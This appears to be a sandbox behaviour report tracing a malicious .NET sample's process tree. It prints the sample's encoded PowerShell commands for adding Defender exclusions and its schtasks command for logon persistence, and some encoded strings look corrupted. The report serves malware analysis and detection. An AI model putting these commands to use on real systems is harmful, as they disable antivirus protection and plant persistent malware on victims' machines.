Analysis Process: WerFault.exe PID: 6760 Parent PID: 6328

General	
Start time:	22:28:23
Start date:	13/01/2022
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6328 -s 416
Imagebase:	0x7f797770000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

File Activities

Show Windows behavior

File Created

File Deleted

File Written

Registry Activities

Show Windows behavior

Key Created

Key Value Created

Analysis Process: build.exe PID: 5172 Parent PID: 6388

General

Start time:	22:28:52
Start date:	13/01/2022
Path:	C:\Users\user\AppData\Local\Temp\build.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\build.exe"
Imagebase:	0x400000
File size:	5638144 bytes
MD5 hash:	B228FA5A9B83EE75E71DE49EB56B2E4A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Antivirus matches:	• Detection: 100%, Avira • Detection: 40%, Metadefender, Browse • Detection: 82%, ReversingLabs
Reputation:	low

File Activities

Show Windows behavior

File Created

File Written

File Read

Analysis Process: cmd.exe PID: 6960 Parent PID: 5172

General

Start time:	22:28:55
Start date:	13/01/2022
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd" cmd /c powershell -EncodedCommand "QQBkAGQALQBNAHAAUABYAGUAZgBIAHIAZQBUBAGMAZQAgAC0ARQB4AGMABAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABIAcWAJABIAg4AdgA6AFAAeQBzAHQAZQZBIAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA" & powershell -EncodedCommand "QQBkAGQALQBNAHAAUABYAGUAZgBIAHIAZQBUBAGMAZQAgAC0ARQB4AGMABAB1AHMAaQBvAG4ARQB4AHQAZQZBUAHMAaQBvAG4IAABACgAJwBIAHgAZQAnACWAJwBkAGWAbAAnACKAlAAIAEYABwByAGMAZQA=" & exit
Imagebase:	0x7ff7eef80000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F

Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

File Activities

Show Windows behavior

Analysis Process: conhost.exe PID: 1260 Parent PID: 6960

General	
Start time:	22:28:56
Start date:	13/01/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7ecfc0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: powershell.exe PID: 2968 Parent PID: 6960

General	
Start time:	22:28:57
Start date:	13/01/2022
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -EncodedCommand "QQBkAGQALQBNHAAUABYAGUAZgBIAHI AZQBuAGMAZQAgAC0ARQB4AGMABAB1AHMAaQBvAG4AUABhAHQAaAaAgAEAAKAA kAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABIAcWABIAIAG4AdgA6AFM AeQBzAHQAZQBtAEQAcgBpAHYAZQAACAALQBGAG8AcgBjAGUA"
Imagebase:	0x7ff617cb0000
File size:	447488 bytes
MD5 hash:	95000560239032BC68B4C2FDFCDEF913
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	high

File Activities

Show Windows behavior

File Created

File Deleted

File Written

File Read

Analysis Process: powershell.exe PID: 6536 Parent PID: 6960

General

Start time:	22:29:21
Start date:	13/01/2022
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -EncodedCommand "QQBkAGQALQBNHAAUABYAGUAZgBIAHI AZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQB vAG4AIABAACgAJwBIAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA="
Imagebase:	0x7ff617cb0000
File size:	447488 bytes
MD5 hash:	95000560239032BC68B4C2FDFCDEF913
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	high

Analysis Process: cmd.exe PID: 1412 Parent PID: 5172

General

Start time:	22:29:47
Start date:	13/01/2022
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "ghjrytoi" /tr "C:\Users\user\AppData\Roaming\ghjrytoi.exe
Imagebase:	0x7ff7eef80000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: conhost.exe PID: 4856 Parent PID: 1412

General

Start time:	22:29:47
Start date:	13/01/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7ecfc0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: schtasks.exe PID: 6912 Parent PID: 1412

General

Start time:	22:29:48
Start date:	13/01/2022
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false

Commandline:	schtasks /create /f /sc onlogon /rl highest /tn "ghjrytoi" /tr "C:\Users\user\AppData\Roaming\ghjrytoi.exe"
Imagebase:	0x7ff732780000
File size:	226816 bytes
MD5 hash:	838D346D1D28F00783B7A6C6BD03A0DA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: ghjrytoi.exe PID: 800 Parent PID: 904

General

Start time:	22:29:49
Start date:	13/01/2022
Path:	C:\Users\user\AppData\Roaming\ghjrytoi.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Roaming\ghjrytoi.exe
Imagebase:	0x400000
File size:	5638144 bytes
MD5 hash:	B228FA5A9B83EE75E71DE49EB56B2E4A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Antivirus matches:	- Detection: 100%, Avira - Detection: 40%, Metadefender, Browse - Detection: 82%, ReversingLabs

Analysis Process: cmd.exe PID: 1560 Parent PID: 5172

General

Start time:	22:29:50
Start date:	13/01/2022
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd" cmd /c "C:\Users\user\AppData\Roaming\ghjrytoi.exe
Imagebase:	0x7ff7eef80000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Analysis Process: conhost.exe PID: 6376 Parent PID: 1560

General

Start time:	22:29:51
Start date:	13/01/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7ecfc0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true

Programmed in:	C, C++ or other language
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Analysis Process: ghjrytoi.exe PID: 6784 Parent PID: 1560

General

Start time:	22:29:51
Start date:	13/01/2022
Path:	C:\Users\user\AppData\Roaming\ghjrytoi.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Roaming\ghjrytoi.exe
Imagebase:	0x400000
File size:	5638144 bytes
MD5 hash:	B228FA5A9B83EE75E71DE49EB56B2E4A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET

Analysis Process: cmd.exe PID: 5248 Parent PID: 800

General

Start time:	22:29:52
Start date:	13/01/2022
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd" cmd /c powershell -EncodedCommand "QQBkAGQALQBNAHAAUABYAGUAZgBIAHIAZQBuaGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAQgBQAHIAbwBmAGkAbABIAcWAJABIAg4AdgA6AFMAeQBzAHQAZQBtAEQAQgBpAHYAZQApACAALQBGAG8AcgBjAGUA" & powershell -EncodedCommand "QQBkAGQALQBNAHAAUABYAGUAZgBIAHIAZQBuaGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuaHMAaQBvAG4AIABAACgAJwBIAHgAZQAnACwAJwBkAGwAbAAAnACKAIAAtAEYAbwByAGMAZQA=" & exit
Imagebase:	0x7ff7eef80000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Analysis Process: conhost.exe PID: 5280 Parent PID: 5248

General

Start time:	22:29:54
Start date:	13/01/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7ecfc0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Analysis Process: powershell.exe PID: 5328 Parent PID: 5248

General	
Start time:	22:29:54
Start date:	13/01/2022
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -EncodedCommand "QQBkAGQALQBNAHAAUABYAGUAZgBIAHI AZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAA kAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABIACwAJABIAg4AdgA6AFM AeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGA8AcgBjAGUA"
Imagebase:	0x7ff617cb0000
File size:	447488 bytes
MD5 hash:	95000560239032BC68B4C2FDFCDEF913
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET

Analysis Process: cmd.exe PID: 6764 Parent PID: 6784

General	
Start time:	22:29:54
Start date:	13/01/2022
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd" cmd /c powershell -EncodedCommand "QQBkAGQALQBNAHAAUABYAGUAZgBIA HIAZQB uAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAK AAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABIACwAJABIAg4AdgA6A FMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGA8AcgBjAGUA" & powershell -Enc odedCommand "QQBkAGQALQBNAHAAUABYAGUAZgBIAHIAZQB uAGMAZQAgAC0 ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQB uAHMAaQBvAG4AIAABAACgAJwB IAHgAZQAnACwAJwBkAGwAbAAAnACkAIAAtAEYAbwByAGMAZQA=" & exit
Imagebase:	0x7ff7eef80000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Analysis Process: conhost.exe PID: 5488 Parent PID: 6764

General	
Start time:	22:29:55
Start date:	13/01/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7ecfc0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Analysis Process: powershell.exe PID: 3896 Parent PID: 6764

General	
Start time:	22:29:56
Start date:	13/01/2022

Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -EncodedCommand "QQBkAGQALQBNAHAAUABYAGUAZgBIAHI AZQBvAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAQaAAAgAEAAKAA kAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABIAcWAJABIAg4AdgA6AFM AeQBzAHQAZQBIAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA"
Imagebase:	0x7ff617cb0000
File size:	447488 bytes
MD5 hash:	95000560239032BC68B4C2FDFCDEF913
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET

Analysis Process: powershell.exe PID: 5332 Parent PID: 5248

General

Start time:	22:30:04
Start date:	13/01/2022
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -EncodedCommand "QQBkAGQALQBNAHAAUABYAGUAZgBIAHI AZQBvAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBvAHMAaQB vAG4AIABAACgAJwBIAHgAZQAnACwAJwBkAGwAbAAAnACKAIAAtAEYAbwByAGMAZQA="
Imagebase:	0x7ff617cb0000
File size:	447488 bytes
MD5 hash:	95000560239032BC68B4C2FDFCDEF913
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET

Analysis Process: powershell.exe PID: 4648 Parent PID: 6764

General

Start time:	22:30:04
Start date:	13/01/2022
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -EncodedCommand "QQBkAGQALQBNAHAAUABYAGUAZgBIAHI AZQBvAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBvAHMAaQB vAG4AIABAACgAJwBIAHgAZQAnACwAJwBkAGwAbAAAnACKAIAAtAEYAbwByAGMAZQA="
Imagebase:	0x7ff617cb0000
File size:	447488 bytes
MD5 hash:	95000560239032BC68B4C2FDFCDEF913
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET

Analysis Process: sihost64.exe PID: 6244 Parent PID: 6784

General

Start time:	22:30:19
Start date:	13/01/2022
Path:	C:\Users\user\AppData\Roaming\Microsoft\Telemetry\sihost64.exe
Wow64 process (32bit):	
Commandline:	"C:\Users\user\AppData\Roaming\Microsoft\Telemetry\sihost64.exe"
Imagebase:	
File size:	44032 bytes

MD5 hash:	42F02A9DEC3BCC34A5137FD448A8D1F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	• Detection: 100%, Avira • Detection: 40%, Metadefender, Browse • Detection: 75%, ReversingLabs

Disassembly

Code Analysis